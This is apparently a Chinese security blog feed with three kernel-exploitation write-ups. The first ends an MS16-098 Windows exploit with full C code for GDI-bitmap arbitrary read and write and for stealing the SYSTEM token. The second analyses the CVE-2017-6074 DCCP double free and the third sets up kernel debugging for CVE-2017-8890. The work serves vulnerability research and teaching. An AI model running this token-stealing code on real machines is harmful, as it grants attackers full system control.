<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">addr1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc0</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="n">addr1</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">y</span> <span class="o">+</span> <span class="mh">0xb</span><span class="p">;</span>
<span class="n">addr1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span>
</code></pre></div></div>
<p>然后我们用 manager bitmap 对象调用 SetBitmapBits 修改 worker 的 pvScan0 为 region
对象的地址,再用worker 调用 SetBitmapBits 将正确的 Pool Header 写回去,Bitmap 对象同理。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">SetAddress</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">address</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">bits</span><span class="p">[</span><span class="mh">0xdf0</span> <span class="o">+</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">address</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">SetBitmapBits</span><span class="p">(</span><span class="n">hManager</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">bits</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">WriteToAddress</span><span class="p">(</span><span class="n">BYTE</span><span class="o">*</span> <span class="n">data</span><span class="p">)</span> <span class="p">{</span>
<span class="n">SetBitmapBits</span><span class="p">(</span><span class="n">hWorker</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">data</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">SetAddress</span><span class="p">(</span><span class="n">addr1</span><span class="p">);</span>
<span class="n">WriteToAddress</span><span class="p">(</span><span class="n">Gh04</span><span class="p">);</span>
</code></pre></div></div>
<h1 id="stealing-system-process-token">Stealing SYSTEM Process Token</h1>
<p>接下来就是最后一部分操作了,一些资料里已经详细说明了如何替换 System Token 实现提权的方法,
这里也简单描述一下。<code class="highlighter-rouge">ntoskrnl</code> 中的 <code class="highlighter-rouge">PsInitialSystemProcess</code> 存储了 <code class="highlighter-rouge">SYSTEM</code> 进程的 <code class="highlighter-rouge">EPROCESS</code>
地址,这里使用 <code class="highlighter-rouge">EnumDeviceDrivers</code> 来获取 <code class="highlighter-rouge">ntoskrnl</code> 的基址,另外也可以通过
<code class="highlighter-rouge">NtQuerySystemInformation(11)</code> 来获取 <code class="highlighter-rouge">ntoskrnl</code> 的基址。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Get base of ntoskrnl.exe
</span><span class="n">ULONG64</span> <span class="nf">GetNTOsBase</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">ULONG64</span> <span class="n">Bases</span><span class="p">[</span><span class="mh">0x1000</span><span class="p">];</span>
<span class="n">DWORD</span> <span class="n">needed</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">ULONG64</span> <span class="n">krnlbase</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">EnumDeviceDrivers</span><span class="p">((</span><span class="n">LPVOID</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">Bases</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Bases</span><span class="p">),</span> <span class="o">&</span><span class="n">needed</span><span class="p">))</span> <span class="p">{</span>
<span class="n">krnlbase</span> <span class="o">=</span> <span class="n">Bases</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">krnlbase</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Get EPROCESS for System process
</span><span class="n">ULONG64</span> <span class="nf">PsInitialSystemProcess</span><span class="p">()</span>
<span class="p">{</span>
<span class="c1">// load ntoskrnl.exe
</span> <span class="n">ULONG64</span> <span class="n">ntos</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">LoadLibrary</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">);</span>
<span class="c1">// get address of exported PsInitialSystemProcess variable
</span> <span class="n">ULONG64</span> <span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">ntos</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>
<span class="n">FreeLibrary</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">ntos</span><span class="p">);</span>
<span class="n">ULONG64</span> <span class="n">res</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">ULONG64</span> <span class="n">ntOsBase</span> <span class="o">=</span> <span class="n">GetNTOsBase</span><span class="p">();</span>
<span class="c1">// subtract addr from ntos to get PsInitialSystemProcess offset from base
</span> <span class="k">if</span> <span class="p">(</span><span class="n">ntOsBase</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ReadFromAddress</span><span class="p">(</span><span class="n">addr</span> <span class="o">-</span> <span class="n">ntos</span> <span class="o">+</span> <span class="n">ntOsBase</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">res</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>获取到 <code class="highlighter-rouge">SYSTEM</code> 进程的 <code class="highlighter-rouge">EPROCESS</code> 地址后就可以读取其中的 <code class="highlighter-rouge">ActiveProcessLinks</code> 属性地址,
它是一个存放所有进程 <code class="highlighter-rouge">EPROCESS</code> 地址的双向链表,通过遍历它来得到当前进程的 <code class="highlighter-rouge">EPROCESS</code> 地址。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
</span><span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
<span class="n">DWORD</span> <span class="n">UniqueProcessIdOffset</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">TokenOffset</span><span class="p">;</span>
<span class="p">}</span> <span class="n">VersionSpecificConfig</span><span class="p">;</span>
<span class="n">VersionSpecificConfig</span> <span class="n">gConfig</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x2e0</span><span class="p">,</span> <span class="mh">0x348</span> <span class="p">};</span> <span class="c1">//win 8.1
</span>
<span class="n">LONG64</span> <span class="nf">PsGetCurrentProcess</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">ULONG64</span> <span class="n">pEPROCESS</span> <span class="o">=</span> <span class="n">PsInitialSystemProcess</span><span class="p">();</span><span class="c1">// get System EPROCESS
</span> <span class="c1">// walk ActiveProcessLinks until we find our Pid
</span> <span class="n">LIST_ENTRY</span> <span class="n">ActiveProcessLinks</span><span class="p">;</span>
<span class="n">ReadFromAddress</span><span class="p">(</span><span class="n">pEPROCESS</span> <span class="o">+</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">),</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">ActiveProcessLinks</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">LIST_ENTRY</span><span class="p">));</span>
<span class="n">ULONG64</span> <span class="n">res</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">TRUE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ULONG64</span> <span class="n">UniqueProcessId</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// adjust EPROCESS pointer for next entry
</span> <span class="n">pEPROCESS</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)(</span><span class="n">ActiveProcessLinks</span><span class="p">.</span><span class="n">Flink</span><span class="p">)</span> <span class="o">-</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">);</span>
<span class="c1">// get pid
</span> <span class="n">ReadFromAddress</span><span class="p">(</span><span class="n">pEPROCESS</span> <span class="o">+</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">UniqueProcessId</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">));</span>
<span class="c1">// is this our pid?
</span> <span class="k">if</span> <span class="p">(</span><span class="n">GetCurrentProcessId</span><span class="p">()</span> <span class="o">==</span> <span class="n">UniqueProcessId</span><span class="p">)</span> <span class="p">{</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">pEPROCESS</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// get next entry
</span> <span class="n">ReadFromAddress</span><span class="p">(</span><span class="n">pEPROCESS</span> <span class="o">+</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">),</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">ActiveProcessLinks</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">LIST_ENTRY</span><span class="p">));</span>
<span class="c1">// if next same as last, we reached the end
</span> <span class="k">if</span> <span class="p">(</span><span class="n">pEPROCESS</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)(</span><span class="n">ActiveProcessLinks</span><span class="p">.</span><span class="n">Flink</span><span class="p">)</span> <span class="o">-</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG64</span><span class="p">))</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>最后把 System 进程的 Token 替换到当前进程实现提权。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// get System EPROCESS
</span><span class="n">ULONG64</span> <span class="n">SystemEPROCESS</span> <span class="o">=</span> <span class="n">PsInitialSystemProcess</span><span class="p">();</span>
<span class="n">ULONG64</span> <span class="n">CurrentEPROCESS</span> <span class="o">=</span> <span class="n">PsGetCurrentProcess</span><span class="p">();</span>
<span class="n">ULONG64</span> <span class="n">SystemToken</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// read token from system process
</span><span class="n">ReadFromAddress</span><span class="p">(</span><span class="n">SystemEPROCESS</span> <span class="o">+</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">TokenOffset</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">SystemToken</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">);</span>
<span class="c1">// write token to current process
</span><span class="n">ULONG64</span> <span class="n">CurProccessAddr</span> <span class="o">=</span> <span class="n">CurrentEPROCESS</span> <span class="o">+</span> <span class="n">gConfig</span><span class="p">.</span><span class="n">TokenOffset</span><span class="p">;</span>
<span class="n">SetAddress</span><span class="p">((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">CurProccessAddr</span><span class="p">);</span>
<span class="n">WriteToAddress</span><span class="p">((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">SystemToken</span><span class="p">);</span>
<span class="c1">// Done and done. We're System :)
</span><span class="n">system</span><span class="p">(</span><span class="s">"cmd.exe"</span><span class="p">);</span>
</code></pre></div></div>
<p><img src="/images/2018-10-17/system.png" alt="" /></p>
<p>利用代码可以在 <a href="https://github.com/sensepost/ms16-098">github</a> 上找到。</p>
<h1 id="reference">Reference</h1>
<ul>
<li>
<p><a href="https://www.secureauth.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects">https://www.secureauth.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects</a></p>
</li>
<li>
<p><a href="https://www.secureauth.com/blog/abusing-gdi-for-ring0-exploit-primitives">https://www.secureauth.com/blog/abusing-gdi-for-ring0-exploit-primitives</a></p>
</li>
<li>
<p><a href="https://github.com/sensepost/ms16-098">https://github.com/sensepost/ms16-098</a></p>
</li>
<li>
<p><a href="http://repwn.com/archives/26/">http://repwn.com/archives/26/</a></p>
</li>
<li>
<p><a href="http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes">http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes</a></p>
</li>
</ul>0x3f97@gmail.comIntroductioncve-2017-6074 briefly analyze2018-08-16T00:00:00+00:002018-08-16T00:00:00+00:00https://0x3f97.github.io/exploit/2018/08/16/cve-2017-6074-briefly-analyze<h1 id="introduction">Introduction</h1>
<p>根据<a href="https://www.anquanke.com/post/id/85546">漏洞描述</a> <code class="highlighter-rouge">cve-2017-6074</code> 是存在于 <code class="highlighter-rouge">dccp</code> 数据报拥塞控制协议实现中的 <code class="highlighter-rouge">double free</code> 漏洞,漏洞需要内核编译的时候开启 <code class="highlighter-rouge">CONFIG_IP_DCCP</code>,
不过许多 linux 发行版都是默认开启的。影响范围可能对大于 2.6.18 的版本都有效,漏洞于2017年2月17日修复,patch 如下:</p>
<p><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4</a></p>
<p>目前还未找到该漏洞有完整的分析文章,但是作者放出了完整的利用
<a href="https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-6074/poc.c">poc.c</a>
其中包含 smep & smap 的绕过,以及 sendmmsg 堆喷技巧,后面将根据作者给出的利用对漏洞进行分析,并学习其中的利用方式。</p>
<h1 id="root-cause">Root Cause</h1>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">diff</span> <span class="o">--</span><span class="n">git</span> <span class="n">a</span><span class="o">/</span><span class="n">net</span><span class="o">/</span><span class="n">dccp</span><span class="o">/</span><span class="n">input</span><span class="p">.</span><span class="n">c</span> <span class="n">b</span><span class="o">/</span><span class="n">net</span><span class="o">/</span><span class="n">dccp</span><span class="o">/</span><span class="n">input</span><span class="p">.</span><span class="n">c</span>
<span class="n">index</span> <span class="n">ba347184bda9</span><span class="p">..</span><span class="mi">8</span><span class="n">fedc2d49770</span> <span class="mi">100644</span>
<span class="o">---</span> <span class="n">a</span><span class="o">/</span><span class="n">net</span><span class="o">/</span><span class="n">dccp</span><span class="o">/</span><span class="n">input</span><span class="p">.</span><span class="n">c</span>
<span class="o">+++</span> <span class="n">b</span><span class="o">/</span><span class="n">net</span><span class="o">/</span><span class="n">dccp</span><span class="o">/</span><span class="n">input</span><span class="p">.</span><span class="n">c</span>
<span class="err">@@</span> <span class="o">-</span><span class="mi">606</span><span class="p">,</span><span class="mi">7</span> <span class="o">+</span><span class="mi">606</span><span class="p">,</span><span class="mi">8</span> <span class="err">@@</span> <span class="kt">int</span> <span class="n">dccp_rcv_state_process</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span>
<span class="k">if</span> <span class="p">(</span><span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-></span><span class="n">icsk_af_ops</span><span class="o">-></span><span class="n">conn_request</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span>
<span class="n">skb</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="o">-</span> <span class="k">goto</span> <span class="n">discard</span><span class="p">;</span>
<span class="o">+</span> <span class="n">consume_skb</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="o">+</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">dh</span><span class="o">-></span><span class="n">dccph_type</span> <span class="o">==</span> <span class="n">DCCP_PKT_RESET</span><span class="p">)</span>
<span class="k">goto</span> <span class="n">discard</span><span class="p">;</span>
</code></pre></div></div>
<p>从漏洞细节描述结合漏洞修补代码,可以知道漏洞产生的原因是 socket_buff 对象被多次引用,没有正确释放造成的,漏洞补丁对 <code class="highlighter-rouge">skb->user</code> 占用,
而没有跳转到 discard 然后调用 <code class="highlighter-rouge">__kfree_skb</code>。</p>
<p><strong>net/core/skbuff.c#729</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* consume_skb - free an skbuff
* @skb: buffer to free
*
* Drop a ref to the buffer and free it if the usage count has hit zero
* Functions identically to kfree_skb, but kfree_skb assumes that the frame
* is being dropped after a failure and notes that
*/</span>
<span class="kt">void</span> <span class="nf">consume_skb</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">skb</span><span class="p">))</span>
<span class="k">return</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">atomic_read</span><span class="p">(</span><span class="o">&</span><span class="n">skb</span><span class="o">-></span><span class="n">users</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">))</span>
<span class="n">smp_rmb</span><span class="p">();</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="o">!</span><span class="n">atomic_dec_and_test</span><span class="p">(</span><span class="o">&</span><span class="n">skb</span><span class="o">-></span><span class="n">users</span><span class="p">)))</span>
<span class="k">return</span><span class="p">;</span>
<span class="n">trace_consume_skb</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="n">__kfree_skb</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>那么 <code class="highlighter-rouge">skb</code> 对象在哪里产生的呢?光用源码阅读工具无法回溯出完整的函数调用链,经过一番搜索后,发现了用 ftrace 追踪
kernel 函数调用的方法,从下图可以看到 alloc_skb() 函数是由 dccp_connect() 调用,</p>
<p><img src="/images/2018-8-16/skb_start.PNG" alt="" /></p>
<p>后者最终是由 sys_connect 调用,那么整个调用链就如下所示:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>用户态:connect()
-----------------------------------------------------------------------------------------------------------
内核态:SYSC_connect() --> inet_stream_conect() --> dccp_v6_connect() --> dccp_connect() --> __alloc_skb()
</code></pre></div></div>
<p>知道了对象如何产生,再来看看对象如何释放。修补的函数是 DCCP 协议栈 socket 状态为 DCCP_LISTEN 时对 DCCP_PKT_REQUEST
类型的请求包进行处理的函数。其中的 <code class="highlighter-rouge">conn_reqeust</code> 函数指针指向 dccp_v6_conn_request() 函数,根据漏洞公告的信息,
在该函数的处理中如果在 socket 上设置 IPV6_RECVPKTINFO,则 skb 地址会被保存在 <code class="highlighter-rouge">ireq->pktopts</code>,那么其引用次数会增加一次,
若该函数返回成功,则会在之后的处理中 <code class="highlighter-rouge">goto discard</code> 被释放掉,这多余的释放会造成一个 double free。</p>
<p><strong>net/dccp/ipv6.c#298</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">dccp_v6_conn_request</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ipv6_opt_accepted</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span> <span class="n">IP6CB</span><span class="p">(</span><span class="n">skb</span><span class="p">))</span> <span class="o">||</span>
<span class="n">np</span><span class="o">-></span><span class="n">rxopt</span><span class="p">.</span><span class="n">bits</span><span class="p">.</span><span class="n">rxinfo</span> <span class="o">||</span> <span class="n">np</span><span class="o">-></span><span class="n">rxopt</span><span class="p">.</span><span class="n">bits</span><span class="p">.</span><span class="n">rxoinfo</span> <span class="o">||</span>
<span class="n">np</span><span class="o">-></span><span class="n">rxopt</span><span class="p">.</span><span class="n">bits</span><span class="p">.</span><span class="n">rxhlim</span> <span class="o">||</span> <span class="n">np</span><span class="o">-></span><span class="n">rxopt</span><span class="p">.</span><span class="n">bits</span><span class="p">.</span><span class="n">rxohlim</span><span class="p">)</span> <span class="p">{</span>
<span class="n">atomic_inc</span><span class="p">(</span><span class="o">&</span><span class="n">skb</span><span class="o">-></span><span class="n">users</span><span class="p">);</span>
<span class="n">ireq</span><span class="o">-></span><span class="n">pktopts</span> <span class="o">=</span> <span class="n">skb</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
</code></pre></div></div>
<h1 id="breif">Breif</h1>
<p>漏洞的利用比较复杂,也可能是水平不够,不能完整的分析出每一步的作用,太菜了( 。。 抛去前面 sandbox 的设置,
单看后面的过程可以分为两步,第一步是绕过 smap & smep,作者提到这里用的方法是出自 Philip Pettersson 的 CVE-2016-8655 的利用。</p>
<p>TODO ..</p>
<p>第二步则是执行 <code class="highlighter-rouge">commit_cred()</code> 函数进行提权,这也是大多数提权程序最终生效的入口函数,不同的是,这里用的堆喷对象
是 sk_buff,也就是被多次引用造成漏洞的对象。而释放 skb 时调用的 skb_release_data 函数中存在调用回调函数的代码</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">skb_release_data</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">skb_shared_info</span> <span class="o">*</span><span class="n">shinfo</span> <span class="o">=</span> <span class="n">skb_shinfo</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">shinfo</span><span class="o">-></span><span class="n">tx_flags</span> <span class="o">&</span> <span class="n">SKBTX_DEV_ZEROCOPY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">ubuf_info</span> <span class="o">*</span><span class="n">uarg</span><span class="p">;</span>
<span class="n">uarg</span> <span class="o">=</span> <span class="n">shinfo</span><span class="o">-></span><span class="n">destructor_arg</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uarg</span><span class="o">-></span><span class="n">callback</span><span class="p">)</span>
<span class="n">uarg</span><span class="o">-></span><span class="n">callback</span><span class="p">(</span><span class="n">uarg</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span>
</code></pre></div></div>
<p>所以可以覆盖到 <code class="highlighter-rouge">destructor_arg</code> 变量触发回调函数时劫持控制流。</p>
<p>另外调试的时候遇到一个坑,我调试的内核版本为 4.4.0-62-generic,从官网下载了带符号的文件然后双机调试,
但是下断点的时候与 dccp 相关的函数都没有符号</p>
<p><img src="/images/2018-8-16/no_dccp_sym.PNG" alt="" /></p>
<p>这时可以直接在 target 里本地查看相关符号因为关闭的 kalsr</p>
<p><img src="/images/2018-8-16/cat_ksym.PNG" alt="" /></p>
<p>整体思路大概是这样,但具体怎么操作的细节、<code class="highlighter-rouge">timer buffer</code> 的作用都还没弄清楚。。希望后续再磨练一下可以分析出来。</p>
<h1 id="reference">Reference</h1>
<p><a href="https://jvns.ca/blog/2017/03/19/getting-started-with-ftrace/">ftrace: trace your kernel functions!</a></p>
<p><a href="http://seclists.org/oss-sec/2017/q1/471">Linux kernel: CVE-2017-6074: DCCP double-free vulnerability (local root)</a></p>
<p><a href="https://zhuanlan.zhihu.com/p/25690077">利用漏洞CVE-2017-6074获取root权限</a></p>0x3f97@gmail.comIntroductioncve-2017-8890 root case analysis2018-08-13T00:00:00+00:002018-08-13T00:00:00+00:00https://0x3f97.github.io/exploit/2018/08/13/cve-2017-8890-root-case-analysis<h1 id="introduction">Introduction</h1>
<p>学习 linux 内核漏洞利用,对 cve-2017-8890 进行分析与调试,该漏洞存在于 linux 内核的 net 模块中的 double free 漏洞,
取名 <code class="highlighter-rouge">Phoenix Talon</code>,影响几乎 <code class="highlighter-rouge">Linux Kernel 2.5.69 ~ 4.10.15</code> 范围的内核版本,可同时对 <code class="highlighter-rouge">Android</code> 进行提权。</p>
<h1 id="system-setup">System Setup</h1>
<p>在开始分析漏洞成因之前,我们先搭建调试环境,可以选择 qemu 模拟运行,也可虚拟机双机调试,用虚拟机调试,更贴近原本的场景,
所以这里用双机调试。</p>
<p>从 <a href="https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/">kernel.org</a> 下载合适的版本,理论上 <code class="highlighter-rouge">4.10.15</code> 之前的版本
都可是可行的,这里选择的是 <code class="highlighter-rouge">4.10.15</code> 版本,编译之前需要安装好依赖。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.10.15.tar.gz
<span class="nb">tar</span> <span class="nt">-zxf</span> linux-4.10.15.tar.gz
<span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt upgrade
<span class="nb">sudo </span>apt install make libncurses5-dev libssl-dev build-essential
</code></pre></div></div>
<p>之后开始编译安装</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make menuconfig
make
make modules
<span class="nb">sudo </span>make modules_install
<span class="nb">sudo </span>make install
<span class="nb">sudo </span>update-grub
</code></pre></div></div>
<p><code class="highlighter-rouge">make menuconfig</code> 的作用是生成 <code class="highlighter-rouge">.config</code> 配置文件,直接默认就好。安装完成之后配置虚拟机,把打印机删除,添加串口。</p>
<p><img src="/images/2018-8-13/1.PNG" alt="" /></p>
<p>客户端作为调试者对服务端进行调试,这时对虚拟机克隆,对克隆出来的虚拟机设置为服务端,然后编辑一下启动项。</p>
<p>让服务端启动的时候进入 kgdb 的调试状态,编辑 grub,增加启动时的引导选项</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>vim /etc/grub.d/40_custom
</code></pre></div></div>
<p>先从 <code class="highlighter-rouge">/boot/grub/grub.cfg</code> 中复制一个菜单项过来,在内核命令行中增加 kgdb 选项:</p>
<p><code class="highlighter-rouge">kgdboc=ttyS0,115200 nokaslr</code></p>
<p><img src="/images/2018-8-13/2.PNG" alt="" /></p>
<p>然后输入一下命令</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo echo </span>g <span class="o">></span> /proc/sysrq-trigger
</code></pre></div></div>
<p>这时我们在客户端用 gdb 连接</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>gdb ./vmlinux
...
gef➤ target remote /dev/ttyS0
</code></pre></div></div>
<p><img src="/images/2018-8-13/4.PNG" alt="" /></p>
<p>现在我们可以对其进行调试了。</p>
<h1 id="root-cause">Root Cause</h1>
<p>对漏洞进行分析我们可以从两个方面入手,一个是 <a href="https://github.com/beraphin/CVE-2017-8890/blob/master/poc.cpp">poc</a>,
另一个是 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=657831ffc38e30092a2d5f03d385d710eb88b09a">patch</a> 和
<a href="https://bugzilla.redhat.com/show_bug.cgi?id=1450972">bug tracker</a>。</p>
<p>从 <code class="highlighter-rouge">patch</code> 中可以看到,补丁对 <code class="highlighter-rouge">inet_sk()</code> 函数返回的结果的 <code class="highlighter-rouge">mc_list</code> 成员的值进行清空,
结合漏洞类型为 <code class="highlighter-rouge">double free</code> 可以得知是释放过程中对 <code class="highlighter-rouge">mc_list</code> 对象处理不当,导致漏洞产生。
